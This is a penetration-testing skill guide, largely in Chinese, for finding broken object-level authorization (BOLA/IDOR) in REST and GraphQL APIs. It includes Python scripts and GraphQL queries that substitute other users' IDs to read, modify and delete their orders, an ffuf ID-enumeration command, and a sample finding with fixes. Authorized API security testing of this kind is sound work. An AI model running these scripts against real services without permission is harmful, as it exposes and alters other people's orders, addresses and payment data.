Tests REST and GraphQL APIs for BOLA/IDOR vulnerabilities by intercepting requests, mapping object IDs (numeric/UUID/slug), and substituting other users' IDs to check authorization. For OWASP API Security Top 10 API1.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 评估在URL路径、查询参数或请求体中使用对象标识符的REST或GraphQL API
Tests REST and GraphQL APIs for BOLA/IDOR vulnerabilities by intercepting calls, identifying object IDs (numeric, UUIDs, slugs), and replacing with others' IDs to check per-object authorization. For OWASP API Security Top 10 API1 testing.
Tests REST/GraphQL APIs for BOLA/IDOR by swapping object IDs in requests to detect missing per-object authorization checks.
Guides IDOR pentesting in web APIs with discovery patterns, exploitation techniques like parameter tampering and UUID guessing, checklists, and real-world cases.
Share bugs, ideas, or general feedback.
不适用于未获API所有者书面授权的情况。BOLA测试涉及访问或尝试访问其他用户的数据,需要明确许可。
requests 库用于脚本化测试枚举所有API端点,识别引用对象的参数:
从OpenAPI/Swagger规范:
# 下载并解析OpenAPI规范
curl -s https://target-api.example.com/api/docs/swagger.json | python3 -m json.tool
# 提取所有含路径参数的端点
curl -s https://target-api.example.com/api/docs/swagger.json | \
python3 -c "
import json, sys
spec = json.load(sys.stdin)
for path, methods in spec.get('paths', {}).items():
for method, details in methods.items():
if method in ('get','post','put','patch','delete'):
params = [p['name'] for p in details.get('parameters',[]) if p.get('in') in ('path','query')]
if params:
print(f'{method.upper()} {path} -> params: {params}')
"
从Burp Suite流量:
/api/v1/、/graphql)/api/v1/users/{id}、/api/v1/orders/{order_id}、/api/v1/documents/{doc_uuid}对象ID类型分类:
| ID类型 | 示例 | 可预测性 | BOLA风险 |
|---|---|---|---|
| 连续整数 | /orders/1042 | 高 - 递增/递减 | 严重 |
| UUID v4 | /orders/550e8400-e29b-41d4-a716-446655440000 | 低 - 随机 | 中(若泄露) |
| 编码/哈希 | /orders/base64encodedvalue | 中 - 解码并预测 | 高 |
| 复合ID | /users/42/orders/1042 | 高 - 多个ID需替换 | 严重 |
| Slug | /profiles/john-doe | 中 - 猜测用户名 | 高 |
捕获用户A和用户B的合法请求:
import requests
BASE_URL = "https://target-api.example.com/api/v1"
# 用户A凭据
user_a_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_a_headers = {"Authorization": user_a_token, "Content-Type": "application/json"}
# 用户B凭据
user_b_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_b_headers = {"Authorization": user_b_token, "Content-Type": "application/json"}
# 步骤1:识别用户A的对象
user_a_profile = requests.get(f"{BASE_URL}/users/me", headers=user_a_headers)
user_a_id = user_a_profile.json()["id"] # 例如 1001
user_a_orders = requests.get(f"{BASE_URL}/users/{user_a_id}/orders", headers=user_a_headers)
user_a_order_ids = [o["id"] for o in user_a_orders.json()["orders"]] # 例如 [5001, 5002]
# 步骤2:识别用户B的对象
user_b_profile = requests.get(f"{BASE_URL}/users/me", headers=user_b_headers)
user_b_id = user_b_profile.json()["id"] # 例如 1002
user_b_orders = requests.get(f"{BASE_URL}/users/{user_b_id}/orders", headers=user_b_headers)
user_b_order_ids = [o["id"] for o in user_b_orders.json()["orders"]] # 例如 [5003, 5004]
print(f"用户A(ID: {user_a_id}): 订单 {user_a_order_ids}")
print(f"用户B(ID: {user_b_id}): 订单 {user_b_order_ids}")
使用用户A的认证尝试访问用户B的对象:
import json
results = []
# 测试1:用用户A的令牌访问用户B的个人资料
resp = requests.get(f"{BASE_URL}/users/{user_b_id}", headers=user_a_headers)
results.append({
"test": "访问其他用户个人资料",
"endpoint": f"GET /users/{user_b_id}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code == 200,
"data_leaked": list(resp.json().keys()) if resp.status_code == 200 else None
})
# 测试2:用用户A的令牌访问用户B的订单
for order_id in user_b_order_ids:
resp = requests.get(f"{BASE_URL}/orders/{order_id}", headers=user_a_headers)
results.append({
"test": f"访问其他用户订单 {order_id}",
"endpoint": f"GET /orders/{order_id}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code == 200
})
# 测试3:用用户A的令牌修改用户B的订单
resp = requests.patch(
f"{BASE_URL}/orders/{user_b_order_ids[0]}",
headers=user_a_headers,
json={"status": "cancelled"}
)
results.append({
"test": "修改其他用户订单",
"endpoint": f"PATCH /orders/{user_b_order_ids[0]}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code in (200, 204)
})
# 测试4:用用户A的令牌删除用户B的资源
resp = requests.delete(f"{BASE_URL}/orders/{user_b_order_ids[0]}", headers=user_a_headers)
results.append({
"test": "删除其他用户订单",
"endpoint": f"DELETE /orders/{user_b_order_ids[0]}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code in (200, 204)
})
# 打印结果
for r in results:
status = "漏洞存在" if r["vulnerable"] else "安全"
print(f"[{status}] {r['test']}: {r['endpoint']} -> HTTP {r['status']}")
测试不那么明显的BOLA模式:
# 技术1:参数污染 - 同时发送两个ID
resp = requests.get(
f"{BASE_URL}/orders/{user_a_order_ids[0]}?order_id={user_b_order_ids[0]}",
headers=user_a_headers
)
print(f"参数污染: {resp.status_code}")
# 技术2:JSON请求体对象ID覆盖
resp = requests.post(
f"{BASE_URL}/orders/details",
headers=user_a_headers,
json={"order_id": user_b_order_ids[0]}
)
print(f"请求体ID覆盖: {resp.status_code}")
# 技术3:ID数组 - 在批量请求中包含其他用户的ID
resp = requests.post(
f"{BASE_URL}/orders/batch",
headers=user_a_headers,
json={"order_ids": user_a_order_ids + user_b_order_ids}
)
print(f"批量ID包含: {resp.status_code}, 返回了 {len(resp.json().get('orders',[]))} 个订单")
# 技术4:针对连续ID的数字ID操纵
for offset in range(-5, 6):
test_id = user_a_order_ids[0] + offset
if test_id not in user_a_order_ids:
resp = requests.get(f"{BASE_URL}/orders/{test_id}", headers=user_a_headers)
if resp.status_code == 200:
owner = resp.json().get("user_id", "unknown")
if str(owner) != str(user_a_id):
print(f"BOLA: 订单 {test_id} 属于用户 {owner},但用户A可访问")
# 技术5:嵌套资源路径中替换对象ID
resp = requests.get(
f"{BASE_URL}/users/{user_b_id}/orders/{user_b_order_ids[0]}/invoice",
headers=user_a_headers
)
print(f"嵌套资源BOLA: {resp.status_code}")
# 技术6:方法切换 - GET可能被阻断但PUT被允许
for method in ['GET', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']:
resp = requests.request(
method,
f"{BASE_URL}/users/{user_b_id}/settings",
headers=user_a_headers,
json={"notifications": False} if method in ('PUT', 'PATCH') else None
)
if resp.status_code not in (401, 403, 405):
print(f"方法 {method} 访问其他用户设置: {resp.status_code}")
配置Autorize进行自动化检测:
.*\/api\/.*(仅API路径).*\.(js|css|png|jpg)$(跳过静态资源)# 使用node/ID中继模式测试GraphQL查询中的BOLA
# 用户A通过全局中继ID查询用户B的订单
query {
node(id: "T3JkZXI6NTAwMw==") { # "Order:5003"的Base64编码(用户B的订单)
... on Order {
id
totalAmount
shippingAddress {
street
city
}
items {
productName
quantity
}
}
}
}
# 通过关联关系测试嵌套对象访问
query {
user(id: "1002") { # 用户B的ID
email
phoneNumber
orders {
edges {
node {
id
totalAmount
paymentMethod {
lastFourDigits
}
}
}
}
}
}
| 术语 | 定义 |
|---|---|
| BOLA(越权对象访问) | OWASP API1:2023 - API不验证已认证用户是否有权限访问请求引用的特定对象 |
| IDOR(不安全的直接对象引用) | 密切相关的术语,应用程序使用用户可控的输入直接访问对象而不进行授权检查 |
| 水平权限提升 | 通过操纵对象标识符访问属于同一权限级别其他用户的资源 |
| 垂直权限提升 | 访问限制于更高权限级别的资源或功能(如普通用户访问管理员端点) |
| 对象ID枚举 | 通过分析ID格式(连续整数、UUID模式、编码值)预测有效的对象标识符 |
| Autorize | Burp Suite扩展,通过用不同用户令牌重放请求来自动化授权测试 |
ffuf -u https://api.example.com/orders/FUZZ -w ids.txt -H "Authorization: Bearer token"背景:某电商平台为其移动应用提供REST API。API对订单、用户和地址使用连续整数ID。提供了两个测试账户:普通客户(用户A,ID 1001)和另一个客户(用户B,ID 1002)。
方法:
/api/docs的Swagger规范映射所有端点:识别47个端点,其中23个接受对象IDGET /api/v1/orders/{id}无论所有权如何都返回任意订单(读取BOLA)PATCH /api/v1/addresses/{id}允许修改任意用户的地址(写入BOLA)GET /api/v1/users/{id}/payment-methods泄露任意用户的支付卡末四位POST /api/v1/orders/export——接受订单ID数组并导出所有订单而不进行所有权检查DELETE /api/v1/orders/{id}对非自有订单正确返回403(授权已强制执行)注意事项:
## 发现:订单API中存在越权对象访问(BOLA)漏洞
**ID**: API-BOLA-001
**严重性**: 高(CVSS 7.5)
**OWASP API**: API1:2023 - 越权对象访问
**受影响端点**:
- GET /api/v1/orders/{id}
- PATCH /api/v1/addresses/{id}
- GET /api/v1/users/{id}/payment-methods
- POST /api/v1/orders/export
**描述**:
该API在订单检索、地址修改、支付方式查看或订单导出端点上
未强制执行对象级授权。已认证用户可通过替换请求中的对象ID
来访问或修改任意其他用户的资源。连续整数ID使枚举变得轻而易举。
**概念验证**:
1. 以用户A(ID 1001)身份认证: POST /api/v1/auth/login
2. 检索用户A的订单: GET /api/v1/orders/5001 -> 200 OK(合法)
3. 访问用户B的订单: GET /api/v1/orders/5003 -> 200 OK(BOLA - 返回完整订单详情)
4. 修改用户B的地址: PATCH /api/v1/addresses/2002 -> 200 OK(BOLA - 地址已更改)
**影响**:
- 可读取所有850,000+条客户订单,包括收货地址和订单内容
- 可写入任意客户的收货地址,实现包裹重定向
- 暴露所有客户的部分支付卡数据
**修复建议**:
1. 实现对象级授权中间件,验证已认证用户拥有所请求的资源
2. 在数据访问层使用授权检查: `WHERE order.user_id = authenticated_user.id`
3. 用UUID替换连续整数ID以降低可预测性(纵深防御,不能单独作为修复方案)
4. 在CI/CD流水线中为每个接受对象ID的端点添加授权测试
5. 实现按用户速率限制以减慢枚举尝试